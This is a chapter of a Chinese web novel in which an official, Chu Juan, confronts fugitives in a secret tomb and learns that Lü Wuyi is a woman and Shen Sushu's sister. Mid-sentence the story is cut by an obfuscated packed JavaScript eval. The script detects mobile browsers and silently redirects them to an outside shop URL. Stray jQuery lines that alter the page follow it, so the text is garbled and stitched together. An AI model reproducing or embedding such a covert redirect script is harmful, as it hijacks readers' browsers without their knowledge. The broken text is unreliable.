混沌的意识如沉溺于深海,许久才被一股尖锐的余麻自后颈缓缓拽回。楚绢蹙眉呻吟一声,挣扎着撑开沉重的眼皮。
周遭是无尽的黑暗,潮湿的土腥气与陈年的霉味蛮横地钻入她的鼻腔,呛得她喉间发痒。
她动了动手臂,指尖率先触到一方冰凉坚硬的平面,粗粝的质感硌得指腹微痛。
是石头。
这发现让她心头一凛。她强忍着晕眩,一手撑着冰冷滑腻的石壁,缓缓坐起身。两侧石壁上,每隔数尺便悬着一盏孤零零的烛火,豆大的昏黄光影摇曳不定,勉强驱散了身侧的浓黑。随着视线逐渐清明,一间幽深密室的轮廓在她眼前铺陈开来。不远处,一道厚重的石门巍然矗立,门上繁复精美的花纹在烛光下流淌着诡谲的光泽,仿佛拥有生命一般。
那纹路……楚绢的呼吸倏然一滞。
她凝神细观,越看越是心惊,一种荒谬绝伦的熟悉感如冰水浇顶。
这扇门分明与数月前她在城隍庙地下古墓中见过的墓门,一模一样!
这里是……城隍庙密道通往的古墓?!
这个念头如惊雷炸响,楚绢尚未来得及消化这匪夷所思的事实,一道身影自烛火不及的沉沉黑暗中踱出,嗓音平淡无波,却突兀地打断了她的思绪:“楚大人,你终于醒了。”
楚绢心中一跳,像是没料到这地方竟还有他人。她本能地循声回望,只见前方丈许之外,两道身影静静伫立。
左侧的慧安依旧是一袭素净僧衣,身形清瘦,眉眼低垂,神情沉静安然,宛如一尊古寺中供奉经年的玉佛,不见半分被围困的惶恐与狼狈。
而另一侧的叶烬霜,则完全是另一番光景。他狼狈地缩在角落的阴影里,脊背绷得像一张拉满的弓,纤长的手指无意识地死死攥着衣摆,指节因用力而泛白。他那双素来清明锐利的眼眸此刻盛满了茫然与挣扎,惊疑不定地望着慧安,显然还未从这天崩地裂般的真相中回神——他倾心相待、温润如玉的慧安修士,竟是朝廷钦犯;而他这个天子近臣,转眼间便要与叛贼为伍。
这桩荒唐事,足以将他苦心经营的一切尽数摧毁。
楚绢看着这对被命运捉弄的男女,心底无声地叹了口气,目光转向慧安,声音里带着一丝疲惫的了然:“慧安修士,你果然就是沈愫书吧?”
慧安——沈愫书沉默了片刻,唇角竟牵起一抹极淡的、近乎悲凉的笑意:“楚大人明察秋毫,果然瞒不过您。”
“我理解你为家人报仇的决心,”楚绢的语调缓和下来,带上几分劝慰的意味,“可你本不必选这样一条路的。”
“大人有所不知,”沈愫书缓缓摇头,声音空灵,在这石室中激起轻微的回响,“我本打算潜入长公主府邸,搜寻当年构陷我沈家的实证。可那已是十多年前的旧案,物是人非,况且以长公主的缜密与狠辣,她又怎会愚蠢到留下罪证,自掘坟墓?”
“你没有证据?!”楚绢心头巨震,失声惊呼。
“正是因为没有确凿的证据,”沈愫书的声音愈发沉重,如同一柄重锤,一下下敲击在楚绢的心上,“我才只能出此下策,不惜自污清名,也要在天下人面前,将她的罪行公之于众。”
“君要臣死,臣不死是为不忠。先父当年功高震主,即便没有长公主从中构陷,也迟早会因功高盖主而被陛下猜忌暗害。身为臣子,我们无法反抗这种自上而下的不公。我能做的,唯有拼却一身,揭露真相,告慰我沈氏满门的在天之灵罢了。”
一番话,字字泣血,句句诛心。楚绢陷入了长久的沉默,烛火的微光在她脸上明明灭灭,映出她内心的激烈交战。良久,她才艰涩地开口:“可是……你从此便只能隐姓埋名,过着东躲西藏、颠沛流离的日子。为了这件事,赔上自己一生的安稳与荣华,真的值得吗?”
沈愫书正欲作答,一道带着几分慵懒与不羁的锐利声音突兀地斜插进来,打破了室内的凝重:“值不值得,可不是外人说了算的。”
楚绢循声望去,只见密道深处传来清晰的脚步声,一个身影提着一盏昏黄的油灯缓缓走来。来者一身玄色劲装,虽沾染了些许尘土,却掩不住那份卓然的英气。她嘴角噙着一抹似笑非笑的弧度,不是吕无疑又是谁?
见是她,楚绢积压的怒火瞬间被点燃,几步上前,厉声质问:“吕无疑!你到底想干什么?掳走朝廷命官,你是嫌自己身上的罪名还不够多,想让陛下下旨将你碎尸万段吗!”
吕无疑垂眸瞥了她一眼,将油灯提得更稳了些,语气依旧吊儿郎当:“此地僻静隐蔽,不易引人耳目,正好让我们暂避风头。至于掳你来……”她顿了顿,目光坦然地与楚绢对视,“不过是怕你回去后立刻带人大张旗鼓地搜查,反倒不打自招,暴露了我们的藏身之所。我并无恶意,更不会伤你。”
“不伤我?”楚绢冷笑连连,目光如刀般扫过角落里失魂落魄的叶烬霜,语气骤然变得尖刻而严厉,“那叶烬霜呢?他与你们的事本毫无瓜葛,如今却被你们拖下水,一旦被朝廷定为叛贼同党,等待他的只有满门抄斩!你们这是想活生生害死他!”
叶烬霜猝然被点名,猛地从混乱的思绪中惊醒,目瞪口呆地张了张嘴,正想开口辩解。可他尚未出声,吕无疑却先一步轻笑出声。
“楚大人倒是护着他护得紧。可他自己愿不愿意走,那还得另说呢。”
“吕无疑!”楚绢霍然转身,怒视着她,“你们要报仇也好,要与朝廷为敌也罢,都别把无辜之人拖进这趟浑水!叶烬霜是天子亲信,身份敏感,若真被卷入此事,下场只会比你们更惨!”
吕无疑闻言,挑了挑眉,将手中的油灯稳稳搁在石壁的凹槽里。烛火随之欢快地跳跃了一下,光影在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16830396|185312||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她脸上流转,竟为她平添了几分难得的柔和,但那笑意深处,却藏着一丝自嘲与苍凉:“无辜?楚大人,这世上哪有真正的无辜?当年沈家满门含冤,那些在旁冷眼旁观、甚至拍手称快的人,难道就无辜了吗?”
“那也与叶烬霜无关!”楚绢寸步不让,所说的每一个字都铿锵有力:“他对此事一无所知,更从未参与加害沈家任何人!”
“不知情又如何?”吕无疑的笑容忽然变得玩味,她抱臂而立,好整以暇地看着叶烬霜,“这位叶大人,可是心甘情愿跟着愫书来到此处的。他啊,巴不得呢。”
楚绢浑身一僵,猛地转头,难以置信地望向叶烬霜:“你……你疯了?!”
叶烬霜迎着她的目光,脸上血色尽褪,最终化为一抹苦涩的笑意。“
是我……是我帮沈姑娘从皇宫里脱身的。陛下迟早会追查到我的头上,与其坐以待毙,等着京兆尹的官兵上门拿人,不如……我先跑一步,或许还能有机会查明真相,为她洗刷冤屈。”
楚绢只觉脑中“嗡”的一声,仿佛被重锤击中,一阵天旋地转。
这番说辞看似合情合理,实则处处是经不起推敲的漏洞。
叶烬霜大可以趁宫中混乱之际,将沈愫书送出宫门便抽身而返,再对外宣称沈愫书抢了宫中马车逃遁,自己则是奋力阻拦未遂。
以他的才智不会看不明白,这本是一个既能保全自身又能撇清关系的万全之策。
可这个傻子,偏偏要跟着沈愫书一路跑到这龙潭虎穴般的藏身之地。这不分明是……生怕这一别,此生再无相见之日么?
恋爱脑真是能害死人!
楚绢在心底将叶家的祖宗十八代全都问候了个遍,又忍不住对着一脸茫然的叶烬霜将他的现实处境剖析了一遍,末了警告他:“别把未来的事想的太简单,皇帝要抓的人,岂是那么容易销声匿迹的?”
吕无疑听着她的连番怒骂,非但不恼,反而粲然一笑。
那笑容冲淡了她眉宇间的英气,竟透出几分令人惊艳的秀丽来:“楚大人调查了我这么久,就没怀疑过,为何满京城都挖不出‘吕无疑’这个人的半点底细?”她的声音也变了许多,柔媚婉转,分明是女子的声音!
楚绢的瞳孔骤然收缩,怔怔地望着她,心头翻江倒海,一个荒诞却又无比契合的答案呼之欲出:“你……你是女的?”
“不然呢?”吕无疑抬手,随意地将鬓边一缕散落的发丝拂至耳后,语气中带着一丝尘埃落定的释然。
“我一直扮作男子,便无人能查到我的真实身份。日后若是事成,我可换回自己的身份逍遥世间;若是事败,也能借此隐匿行踪,远遁江湖,不留痕迹。”
一旁的沈愫书闻言,侧过脸,眼底掠过一丝复杂难辨的暖意,轻声补充道:“她本名沈愫锦,是我的同胞姐姐。”